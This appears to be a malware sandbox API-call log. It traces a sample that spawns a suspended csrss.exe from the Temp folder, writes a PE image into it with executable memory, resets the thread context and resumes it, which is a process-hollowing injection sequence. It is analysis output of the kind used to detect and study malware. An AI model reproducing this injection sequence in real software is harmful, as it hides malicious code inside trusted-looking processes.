CreateProcessInternalW Oct. 21, 2021, 6:18 p.m.	thread_identifier: 2932 thread_handle: 0x00000260 process_identifier: 2772 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000264	1	1
NtGetContextThread Oct. 21, 2021, 6:18 p.m.	thread_handle: 0x00000260	1	0
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2772 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000264		3221225496
CreateProcessInternalW Oct. 21, 2021, 6:18 p.m.	thread_identifier: 2936 thread_handle: 0x0000026c process_identifier: 2552 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000268	1	1
NtGetContextThread Oct. 21, 2021, 6:18 p.m.	thread_handle: 0x0000026c	1	0
NtAllocateVirtualMemory Oct. 21, 2021, 6:18 p.m.	process_identifier: 2552 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268	1	0
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþ¬¬¬Ô¬K£K¬ ¬=2ó¬¬¬Ô¬¬Ç¬Ô¬=2÷ó¬=2È¬Rich¬PELlWà8¢Þ9P@ ÐdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x À base_address: 0x00400000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: base_address: 0x00401000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: base_address: 0x00415000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: TÍ<¨K¢`Ý;U base_address: 0x0041a000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: base_address: 0x004a0000 process_identifier: 2552 process_handle: 0x00000268	1	1
WriteProcessMemory Oct. 21, 2021, 6:18 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2552 process_handle: 0x00000268	1	1
NtSetContextThread Oct. 21, 2021, 6:18 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000026c process_identifier: 2552	1	0
NtResumeThread Oct. 21, 2021, 6:18 p.m.	thread_handle: 0x0000026c suspend_count: 1 process_identifier: 2552	1	0
NtResumeThread Oct. 21, 2021, 6:26 p.m.	thread_handle: 0x00000110 suspend_count: 1 process_identifier: 2552	1	0

csrss.exe

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